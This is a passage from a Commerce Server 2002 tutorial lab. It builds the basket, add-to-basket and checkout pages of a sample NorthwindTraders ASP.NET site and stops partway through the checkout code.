  • Configure Commerce Server 2002 pipelines in the Web.Config file.
  • Add shipping methods using Commerce Server 2002 Business Desk.

Programmatically do the following with Commerce Server 2002 Base Class Libraries (BCLs):

  • Add items to the basket
  • View the basket
  • Add shipping addresses to user profiles
  • Run pipelines
  • Complete an order

This lab contains:

  • Step 1: Implement Header Control for Page Navigation
  • Step 2: Implement the AddtoBasket.aspx Page
  • Step 3: Implement the Basket.aspx Page
  • Step 4: Implement the Checkout.aspx Page
  • Step 5: Implement the OrderConfirmation.aspx Page


Step 1: Implement Header Control for Page Navigation

In the step you will configure project files for the entire lab and create a header control for navigation throughout your Web site. The header control will automatically configure itself based upon AuthManager information that checks the authentication status of a user on your Web site.

In this step you will do the following:

  1. Using Orders in Business Desk, you will also create a shipping method, which is required to complete the user check-out process.
  2. Copy Commerce Server 2002 pipeline components.
  3. Create a pipeline logging directory.
  4. Edit the Web.Config file to enable Commerce Server 2002 pipelines.
  5. Create the control and input the *.ASCX HTML code.
  6. Enter Commerce Server namespace information.
  7. Insert class-wide variable declarations.
  8. Update the _header.ascx.cs file.
  9. Add a stylesheet to the Web site.
  10. Add the stylesheet throughout the entire Web site.
  11. Add the header control to the pages throughout the Web site.

To create a shipping method

To edit the Web.Config file

To create the control in the *.ASCX HTML code

To insert the Commerce Server classes

To insert class-wide variable declarations

To update the _header.ascx.cs file

To add the stylesheet to the site

To add the stylesheet throughout the site

To add the header to all of the pages on the site

To create a shipping method

  1. Open the NorthwindTraders Business Desk.
  2. In Orders, click Shipping Methods.
  3. In the Shipping Methods screen, click Add on the toolbar, and then select Charge by Subtotal from the drop-down list.
  4. In the Charge by Subtotal - New screen, in the Shipping Method Properties section, do the following:
    Use this | To do this
    Language | Select English – United States from the drop-down list.
    Name | Type Flat Fee Express.
    Enabled | Select this check box to enable the shipping method.
  5. In the Rates section, and then do the following:
    Use this | To do this
    Price, up to | Select over 0, and then click Edit.
    Shipping Rate | Type 15.
  6. Click Accept.
  7. To save the shipping method and return to the Shipping Methods screen, click Save and go back on the toolbar.

The charge by subtotal shipping method is saved.

To edit the Web.Config file

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer window, double-click Web.config.
  5. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Web.config window, locate the <pipelines> tag, press ENTER to insert a new line, and then enter the following code:
                <pipeline
                name="basket"
                path="pipelines\basket.pcf"
                transacted="false"
                type="OrderPipeline"
                loggingEnabled="true" />

            <pipeline
                name="checkout"
                path="pipelines\checkout.pcf"
                transacted="true"
                type="OrderPipeline"
                loggingEnabled="true" />

            <pipeline
                name="total"
                path="pipelines\total.pcf"
                transacted="false"
                type="OrderPipeline"
                loggingEnabled="true" />

            <pipeline
                name="advertising"
                path="pipelines\advertising.pcf"
                transacted="false"
                type="CSFPipeline" />

            <pipeline
                name="discounts"
                path="pipelines\discounts.pcf"
                transacted="false"
                type="CSFPipeline" />

            <pipeline
                name="recordevent"
                path="pipelines\recordevent.pcf"
                transacted="false"
                type="CSFPipeline" />
  6. Remove comment tags around the <caches> record to enable caches that will be used with the pipeline components.

To create the control in the *.ASCX HTML code

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Web.config window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web User Control.
  2. In the Add new Item - NorthwindTraders dialog box, in the Name box, type _header.ascx, and then click Open.
  3. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _header.ascx window, in the lower-left corner, click HTML, and then add the following code:
    <%@ Control Language="c#" AutoEventWireup="false" Codebehind="_header.ascx.cs" Inherits="NorthwindTraders.__header" TargetSchema="http://schemas.microsoft.com/intellisense/ie5"%>
   <meta name="vs_showGrid" content="True">
<table width="650" cellpadding="0" cellspacing="0" border="0" background="image/header_back.jpg" style="WIDTH: 650px; HEIGHT: 110px">
   <tr>
      <td height="110" width="650" valign="top" style="WIDTH: 650px">
         <img src="image/header_banner.gif" width="208" height="110" border="0">
         <asp:HyperLink id="homeLink" runat="server"></asp:HyperLink>&nbsp;&nbsp;
         <asp:HyperLink id="loginLink" runat="server"></asp:HyperLink>&nbsp;&nbsp;
         <asp:HyperLink id="basketLink" runat="server"></asp:HyperLink>&nbsp;&nbsp;
         <asp:HyperLink id="userRegLink" runat="server"></asp:HyperLink>
      </td>
      <td height="110" width="30"></td>
      <td><IMG height="110" src="image/right.gif" width="30" border="0"></td>
   </tr>
</table>
  4. Right-click the _header.ascx page, select View Design, and then click save on the toolbar.

To insert Commerce Server classes

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _header.ascx window, in the Solution Explorer - NorthwindTraders window, click View Code.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _header.ascx.aspx.cs window, in the using section, add the following code:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Orders;

To insert class-wide variable declarations

Notes

  • Visual Studio .NET automatically inserts these declarations when the HyperLink control is placed onto the form.
  • The Project Creation Wizard creates container controls with matching names (case-sensitive) including the IDs of the <asp:HyperLink> controls.
  • You can also manually link HTML elements to their Visual Studio .NET container variants and process them programmatically (the runat=”server” tag must be added to the HTML element).

To update the _header.ascx.cs file

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _header.ascx window, in the Solution Explorer - NorthwindTraders window, click View Code.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – header.ascx.aspx.cs window, in the Page_Load event handler, add the following code:
             homeLink.Text = "Home";
         homeLink.NavigateUrl = "default.aspx";

         if (CommerceContext.Current.AuthenticationInfo.IsAuthenticated())
         {
            loginLink.Text = "Logoff";
            loginLink.NavigateUrl = "logoff.aspx";
            userRegLink.Visible = false;
            basketLink.Visible=true;
            basketLink.Text = "Basket";
            basketLink.NavigateUrl = "Basket.aspx";
         }
         else
         {
            loginLink.Text = "Login";
            loginLink.NavigateUrl = "login.aspx";
            userRegLink.Text = "Registration";
            userRegLink.NavigateUrl = "UserRegistration.aspx";
            userRegLink.Visible = true;
            basketLink.Visible = false;
         }

To add the stylesheet to the site

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – header.ascx.aspx.cs window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add HTML Page.
  2. In the Add New Item – NorthwindTraders dialog box, do the following:
    Use this | To do this
    Templates | Select Style Sheet from the list.
    Name | Type stylesheet.css.
  3. Click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – StyleSeet.css window, at the end of document (after the Body element and the curly brackets), add the following code:
    .nrmText
{
    COLOR: #000000;
    FONT-FAMILY: Verdana, Arial, Helvetica;
    FONT-SIZE: 11px;
    FONT-WEIGHT: normal;
    LINE-HEIGHT: normal;
    MARGIN-TOP: 5px
}
A
{
    COLOR: #3c7144;
    FONT-FAMILY: Verdana, Arial, Helvetica;
    FONT-SIZE: 11px;
    FONT-WEIGHT: normal;
    TEXT-DECORATION: none
}
A:hover
{
    COLOR: #ff7e00;
    FONT-FAMILY: Verdana, Arial, Helvetica;
    FONT-SIZE: 11px;
    FONT-WEIGHT: normal;
    TEXT-DECORATION: underline
}
.indentText
{
    COLOR: #ffffff;
    FONT-FAMILY: Verdana, Arial, Helvetica;
    FONT-SIZE: 11px;
    FONT-WEIGHT: normal;
    PADDING-LEFT: 10px;
    PADDING-TOP: 5px
}
.bodyText
{
    COLOR: #3c7144;
    FONT-FAMILY: Verdana;
    FONT-SIZE: 11px;
    FONT-WEIGHT: normal;
    PADDING-LEFT: 10px;
    PADDING-RIGHT: 10px
}
.smallText
{
    COLOR: #3c7144;
    FONT-FAMILY: Verdana, Arial, Helvetica;
    FONT-SIZE: 9px;
    FONT-WEIGHT: normal
}

To add the stylesheet throughout the site

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – header.ascx.cs window, in the Solution Explorer - NorthwindTraders window, double-click the Default.aspx file.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – default.aspx window, in the lower-left corner, click HTML, and then add the following code between the <HEAD> and </HEAD> tags:
    <link rel="stylesheet" type="text/css" href="stylesheet.css">
  3. Repeat steps 1 and 2 for the following files: (Some of the files will be created later in the tutorial, and you must add the stylesheet after the files are created).
    • Login.aspx
    • Logoff.aspx
    • UserRegistration.aspx
    • ProductList.aspx
    • ProductDetail.aspx
    • Basket.aspx
    • Checkout.aspx
    • ConfirmOrder.aspx

To add the header to all of the pages on the site

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – default.ascx window, in the Solution Explorer - NorthwindTraders window, double-click the Default.aspx file.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – default.ascx window, in the lower-left corner, click HTML, and then add the following code at the very top of the page:
    <%@ Register TagPrefix="ucx" TagName="header" Src="_header.ascx" %>
  3. Add the following code in the fist line after the <BODY> tag:
    <ucx:header id=header1 runat="server"></ucx:header>
  4. Repeat steps 1 through 3 for the following files: (Some of the files will be created later in the tutorial, and you must add the header after the files are created).
    • Login.aspx
    • Logoff.aspx
    • UserRegistration.aspx
    • ProductList.aspx
    • ProductDetail.aspx
    • Basket.aspx
    • Checkout.aspx
    • ConfirmOrder.aspx


Step 2: Implement the AddtoBasket.aspx Page

The AddtoBasket.aspx page adds a selected product to the users shopping basket (cart) and then redirects users to the Basket.aspx page.

In this step, we will implement the AddtoBasket.aspx page to add selected products to the basket and then redirect the user to the basket page.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type AddToBasket.aspx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – AddToBasket.aspx window, in the Solution Explorer window, click View Code.
  7. Add the following references in the using section:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Profiles;
using Microsoft.CommerceServer.Runtime.Orders;
using Microsoft.CommerceServer.Runtime.Pipelines;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Caching;
  8. Add the following code to the Page_Load() event handler.
             // Receive the item to add to the basket from the ProductID
         // (and SKU if the product has variants).
         // Validate login and redirect if user if not.
         Microsoft.CommerceServer.Runtime.Orders.Basket basket;
         CommerceContext ctx = CommerceContext.Current;
         Profile userProfile = null;
         bool isLoggedOn = ctx.AuthenticationInfo.IsAuthenticated();

         // This simple process does not carry the product that the
         // user was attempting to enter.  This would be good to do
         // in a real site...

         if(!isLoggedOn) {Response.Redirect("login.aspx");}

         // Extract the userID to get the basket
         ProfileContext profContext = ctx.ProfileSystem;
         string userId = ctx.UserID;
         basket = CommerceContext.Current.OrderSystem.GetBasket(new Guid(userId));

         userProfile = profContext.GetProfile(ctx.UserID,"UserObject");
         //Extract the form variables that identify the product
         //These will be set as line item properties

         //Create a new line item
         LineItem li = new LineItem();

         li.ProductID = Request.Params["ProductID"];

         // Set the SKU if it is appropriate.  If the product
         // in question does not have variations, we can skip
         // this step.
         if (! ((Request.Params["SKU"] == null) ||
            (Request.Params["SKU"] == "")))
         {
            li.ProductVariantID = Request.Params["SKU"];
         }
         li.ProductCatalog = "BuildingMaterials1033";
         li.Quantity = 1;

         OrderContext oc = CommerceContext.Current.OrderSystem;
         OrderForm of;

         if (basket.OrderForms.Count == 0)
         {
            basket.OrderForms.Add(new OrderForm("default"));
         }
         of = basket.OrderForms["default"];
         of.LineItems.Add(li);
         basket.Save();

         Response.Redirect("basket.aspx");


Step 3: Implement the Basket.aspx Page

The Basket.aspx page implements a custom Repeater that iterates through the rows in the basket to display them on the screen.

In this step, you will implement a basket page to display the products in a user’s basket, and provide the functionality of deleting individual product items.

In this step you will do the following:

  1. Create the Basket.aspx page and insert the header information.
  2. Add a table to the page to organize the data displayed to the user.
  3. Insert a Repeater control onto the form and create an item template for it.
  4. Insert Commerce Server external reference information.
  5. Add variable declarations for to the HTML file.
  6. Add code to the Page_Load() handler.
  7. Add command handler for the remove method.

To create the Basket.aspx page and insert header information

To add a table to the Basket.aspx page

To insert the Repeater control

To insert the Commerce Server classes

To add variable declarations for elements added to the HTML file

To add code to the Page_Load() event handler

To add a command handler for the remove method

To create the Basket.aspx page and insert header information

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type Basket.aspx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx window, in the lower-left corner, click HTML, and then add the following code at the very top of the page, below the <%@ Page> but before the <!DOCTYPE> tags:
    <%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Orders" %>

To add a table to the Basket.aspx page

  • Add the following HTML code to the page between the <form> and </form> tags:
       <asp:Label id="PageSubTitle" runat="server"/>
   <table width="80%" cellpadding="1" cellspacing="0" border="0">
      <tr valign="top" bgcolor="#000000">
         <td align="center" id="Quantity" width="10%" runat="server"
            style="COLOR: #ffffff"></td>
         <td align="center" id="Name" width="60%" runat="server"
            style="COLOR: #ffffff"></td>
         <td align="center" id="Price" width="10%" runat="server"
            style="COLOR: #ffffff"></td>
         <td align="center" id="DiscountedPrice" width="10%" runat="server"
            style="COLOR: #ffffff"></td>
         <td >&nbsp;<br></td>
      </tr>
   </table>

To insert the Repeater control

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx window, in the lower-left corner, click Design.
  2. Click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms box, drag and drop a Repeater control onto the form.
  4. In the Properties window, make sure you the control that you just created is selected, and then in the ID box, type OrderListing.
  5. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx window, in the lower-left corner, click HTML.
  6. Move the <asp:Repeater> and </asp:Repeater> tags between the </tr> and </table> tags.
  7. Insert the following code (as a sub-element) between the <asp:Repeater> and </asp:Repeater> tags:
            <ItemTemplate>
               <tr>
               <td colspan=5>
                  <%# DataBinder.Eval(Container.DataItem, "Name") %>
               </td>
               </tr>
               <asp:Repeater id="BasketListing" DataSource='<%#DataBinder.Eval(Container.DataItem, "LineItems")%>' OnItemCommand="BasketListing_ItemCommand" runat="server">
                  <ItemTemplate>
                  <tr>
                  <td align="left" width="10%" runat="server" ID="Td1">
                     <asp:Label ID="QuantityContent" Runat="server">
                           <%# ((LineItem)Container.DataItem)["Quantity"] %>
                     </asp:Label>
                  </td>
                  <td align="left" width="60%" runat="server" ID="Td2">
                     <asp:Label ID="ProductName" Runat="server">
                        <%# ((LineItem)Container.DataItem)["_product_Name"] %>
                     </asp:Label>
                     <br />
                     <asp:Label ID="Description" Runat="server">
                        <%# ((LineItem)Container.DataItem)["_product_Description"] %>
                     </asp:Label>
                  </td>
                  <td valign="right" width="10%" runat="server" ID="Td3">
                     <asp:Label ID="PriceContent" Font-Name="verdana" Runat="server">
                        <%# Decimal.Parse(((LineItem)Container.DataItem)["_product_cy_list_price"].ToString()).ToString("c") %>
                     </asp:Label>
                  </td>
                  <td valign="right" width="10%" runat="server" ID="Td4">
                     <asp:Label ID="DiscountedPriceContent" Font-Name="verdana" Runat="server">
                        <%# Decimal.Parse(((LineItem)Container.DataItem)["_cy_oadjust_adjustedprice"].ToString()).ToString("c") %>
                     </asp:Label>
                  </td>
                  <td valign="center">
                     <asp:LinkButton id="RemoveBtn" CommandName='<%# ((LineItem)Container.DataItem)["product_id"].ToString() %>'
CommandArgument='<%# ((LineItem)Container.DataItem)["product_variant_id"].ToString() %>' runat="server">
                           Remove
                     </asp:LinkButton>
                  </td>
                  </tr>
                  </ItemTemplate>
                  <SeparatorTemplate>
                  <tr>
                  <td colspan="5">
                     <hr noshade runat="server" ID="Hr1"/>
                  </td>
                  </tr>
                  </SeparatorTemplate>
               </asp:Repeater>
               </ItemTemplate>
               <FooterTemplate>
                  <tr>
                  <td colspan="5" align="right">
                     <a href='checkout.aspx'>
                     Checkout
                     </a>
                  </td>
                  </tr>
               </FooterTemplate>

You can disregard any error messages that appear after you perform this step.

To insert the Commerce Server classes

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx window, in the Solution Explorer window, click View Code.
  2. Add the following references in the using section:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Profiles;
using Microsoft.CommerceServer.Runtime.Orders;
using Microsoft.CommerceServer.Runtime.Pipelines;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Caching;

To add variable declarations for elements added to the HTML file

Note

  • The variables you declare here provide access to the controls added to the HTML view in one of the previous steps.
  • In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx.cs window, in the public class section, add the following code:
    protected System.Web.UI.WebControls.Repeater BasketListing;

OrderContext    ordersys = CommerceContext.Current.OrderSystem;
Microsoft.CommerceServer.Runtime.Orders.Basket basket = null;

To add code to the Page_Load() event handler

  • In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx.cs window, in the Page_Load() event handler, add the following code:
             // Render the basket
         // Validate login and redirect if user is not logged in
         if(!IsPostBack)
         {
            CommerceContext ctx = CommerceContext.Current;
            Profile userProfile = null;
            bool isLoggedOn = ctx.AuthenticationInfo.IsAuthenticated();

            // This simple process does not carry the product that the
            // user was attempting to enter.  This would be good to do
            // in a real site...

            if(!isLoggedOn)
            {
               Response.Redirect("login.aspx");
            }

            // Extract the userID to get the basket
            ProfileContext profContext = ctx.ProfileSystem;
            string userId = ctx.UserID;

            basket = ordersys.GetBasket(new Guid(userId));

            // If there isn't anything in the basket, then redirect
            // to the default.aspx page.
            if(!(basket.OrderForms.Count > 0))
            {
               Response.Redirect("default.aspx");
            }

            // Get the user profile
            userProfile = profContext.GetProfile(ctx.UserID,"UserObject");

            PipelineInfo info = new PipelineInfo("basket");

            info["CacheName"] = "discounts";
            info.Profiles.Add("User", CommerceContext.Current.UserProfile);
            basket.RunPipeline(info);

            string orderFormName = "default";
            if(null != basket.OrderForms[orderFormName]
               && 0 < basket.OrderForms[orderFormName].LineItems.Count)
            {
               OrderListing.DataSource = basket.OrderForms;
               OrderListing.DataBind();
            }
            basket.Save();
         }

To add a command handler for the remove method

Note

  • These steps add parameters for the remove command call inserted earlier in the HTML view (for the BasketListing Repeater OnItemCommand="BasketListing_ItemCommand" in the opening and the <asp:LinkButton id="RemoveBtn"> tags).
  • In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx.cs window, add the following code after the Page Load () event handler:
    public void BasketListing_ItemCommand(object source, RepeaterCommandEventArgs args)
{
   string orderFormName = "default";
   string product_variant_id = (args.CommandArgument).ToString();
   string product_id = (args.CommandName).ToString();
   int index;

   basket = ordersys.GetBasket(new Guid(CommerceContext.Current.UserID));
   if ((product_variant_id != null) && (product_variant_id != ""))
   {
      index = basket.OrderForms[orderFormName].LineItems.IndexOf("BuildingMaterials1033", product_id, product_variant_id);
   }
   else
   {
      index = basket.OrderForms[orderFormName].LineItems.IndexOf("BuildingMaterials1033", product_id, null);
   }
   basket.OrderForms[orderFormName].LineItems.Remove(index);
   basket.Save();

   Response.Redirect("basket.aspx");
}


Step 4: Implement the Checkout.aspx Page

The Checkout.aspx page processes orders and sets shipping and billing information for orders to be successfully post processed on the confirmation page.

In this step you will implement the Checkout.aspx page by doing the following:

  1. Create the Checkout.aspx page.
  2. Insert controls on the Checkout.aspx page.
  3. Insert class-wide variables.
  4. Add code to the Page_Load event handler.
  5. Add code to the Checkout_Click button handler.

To create the Checkout.asp page

To insert controls on the Checkout.aspx page

To insert class-wide variables

To add code to the Page_Load() event handler

To add code to the Checkout_Click() button handler

To create the Checkout.asp page

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type Checkout.aspx, and then click Open.
  6. In the Solution Explorer window, click View Code.
  7. Add the following references in the using section:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Profiles;
using Microsoft.CommerceServer.Runtime.Orders;
using Microsoft.CommerceServer.Runtime.Pipelines;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Caching;

To insert controls on the Checkout.aspx page

  1. In the Solution Explorer window, click View Designer.
  2. Click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  4. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type Header.
    Text | Type Address Name.
  5. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  6. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type FirstNameHeader.
    Text | Type First Name.
  7. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  8. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type LastNameHeader.
    Text | Type Last Name.
  9. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  10. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type LineOneHeader.
    Text | Type Line One.
  11. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  12. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type LineTwoHeader.
    Text | Type Line Two.
  13. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  14. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CityHeader.
    Text | Type City.
  15. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  16. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type StateHeader.
    Text | Type State.
  17. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  18. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type ZipcodeHeader.
    Text | Type Zip Code.
  19. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  20. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CardNameLable.
    Text | Type Card Name.
  21. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  22. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CardTypeLabel.
    Text | Type Card Type.
  23. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  24. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CardNumberLabel.
    Text | Type Card Number.
  25. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  26. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type ExpiryMonthLabel.
    Text | Type Exp Month.
  27. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  28. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type ExpiryYearLabel.
    Text | Type Exp Year.
  29. In the Toolbox window, in the Web Forms section, drag and drop another Label control onto the form.
  30. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type ShippingMethodLabel.
    Text | Type Shipping Method.

    Note

    • Add the following TextBox controls next to their corresponding Label controls.
  31. In the Toolbox window, in the Web Forms section, drag and drop a TextBox control onto the form.
  32. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type AddressName.
  33. In the Toolbox window, in the Web Forms section, drag and drop another TextBox control onto the form.
  34. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type FirstName.
  35. In the Toolbox window, in the Web Forms section, drag and drop another TextBox control onto the form.
  36. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type LastName.
  37. In the Toolbox window, in the Web Forms section, drag and drop another TextBox control onto the form.
  38. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type LineOne.
  39. In the Toolbox window, in the Web Forms section, drag and drop another TextBox control onto the form.
  40. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type LineTwo.
  41. In the Toolbox window, in the Web Forms section, drag and drop another TextBox control onto the form.
  42. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type City.
  43. In the Toolbox window, in the Web Forms section, drag and drop another TextBox control onto the form.
  44. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type State.
  45. In the Toolbox window, in the Web Forms section, drag and drop another TextBox control onto the form.
  46. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type Zipcode.
  47. In the Toolbox window, in the Web Forms section, drag and drop another TextBox control onto the form.
  48. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type CardName.
  49. In the Toolbox window, in the Web Forms section, drag and drop another TextBox control onto the form.
  50. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CardNumber.
    Text | Type 4111-1111-1111-1111.
  51. In the Toolbox window, in the Web Forms section, drag and drop another TextBox control onto the form.
  52. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type ExpiryMonth.
    Text | Type 10.
  53. In the Toolbox window, in the Web Forms section, drag and drop another TextBox control onto the form.
  54. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type ExpiryYear.
    Text | Type 2005.
  55. In the Toolbox window, in the Web Forms section, drag and drop a DropDownList control onto the form.
  56. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CardList.
    Items | Click […].
  57. In the ListItem Collection Editor dialog box, click Add.
  58. In the ListItem Properties section, do the following:
    Use this | To do this
    Selected | Select True from the drop-down list.
    Text | Type Visa.
    Value | Type visa.
  59. Click OK.
  60. In the Toolbox window, in the Web Forms section, drag and drop another DropDownList control onto the form.
  61. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type shippingMethodList. (the values for this drop-down list will be populated programmatically using the site terms for shipping).
  62. In the Toolbox window, in the Web Forms section, drag and drop a Button control onto the form.
  63. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CheckoutBtn.
    Text | Type Checkout.

To insert class-wide variables

  1. In the Solution Explorer window, click View Code.
  2. In the public class section, add the following code:
    OrderContext    ordersys = CommerceContext.Current.OrderSystem;
Microsoft.CommerceServer.Runtime.Orders.Basket basket = null;

To add code to the Page_Load() event handler

  • In the Page_Load() event handler, add the following code:
    if (!IsPostBack)
{
string[] columns= {"shipping_method_id","shipping_method_name"};
   DataSet ds = ordersys.GetShippingMethods(null,null,columns);
   shippingMethodList.DataTextField="shipping_method_name";
   shippingMethodList.DataValueField="shipping_method_id";
   shippingMethodList.DataSource=ds;
   shippingMethodList.DataBind();

}

To add code to the Checkout_Click() button handler

  1. In the Solution Explorer window, click View Code.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Checkout.aspx window, double-click the Checkout button.
  3. In the CheckoutBtn_Click() button handler, add the following code:
       if(IsValid)
   {
      //Microsoft.CommerceServer.Runtime.Orders.Basket basket;
      CommerceContext ctx = CommerceContext.Current;
      Profile userProfile = null;
      bool isLoggedOn = ctx.AuthenticationInfo.IsAuthenticated();

      // This simple process does not carry the product that the
      // user was attempting to enter.  This would be good to do
      // in a real site...

      if(!isLoggedOn)
      {
         Response.Redirect("login.aspx");
      }

      // Extract the userID to get the basket
      ProfileContext profContext = ctx.ProfileSystem;
      string userId = ctx.UserID;

      basket = ordersys.GetBasket(new Guid(userId));

      // If there isn't anything in the basket, then redirect to the
      // default.aspx page.
      if(!(basket.OrderForms.Count > 0))
      {
         Response.Redirect("default.aspx");
      }
      //Get the user profile
      userProfile = profContext.GetProfile(ctx.UserID,"UserObject");

      PipelineInfo info = new PipelineInfo("basket");

      info["CacheName"] = "discounts";
      info.Profiles.Add("User", CommerceContext.Current.UserProfile);

      string addrID = "";

      OrderAddress addr = new OrderAddress(AddressName.Text, AddressName.Text);

      addr.ID         = basket.Addresses.Count.ToString();
      addr.Name       = AddressName.Text;
      addr.FirstName  = FirstName.Text;
      addr.LastName   = LastName.Text;
      addr.Line1      = LineOne.Text;
      addr.Line2      = LineTwo.Text;
      addr.City       = City.Text;
      addr.RegionCode = State.Text;
      addr.PostalCode = Zipcode.Text;
      addr.CountryName = "US";
      basket.Addresses.Add(addr);

      // We are only allowing one address, so we
      // are just using the foreach enumerator
      // to crack the addresses collection and find
      // the first (only) address to set our billing
      // & shipping info.
      foreach(OrderAddress addr2 in basket.Addresses)
      {
         basket.SetBillingAddress(addr2.ID);
         basket.SetShippingAddress(addr2.ID);
         addrID = addr2.ID;
         break;
      }
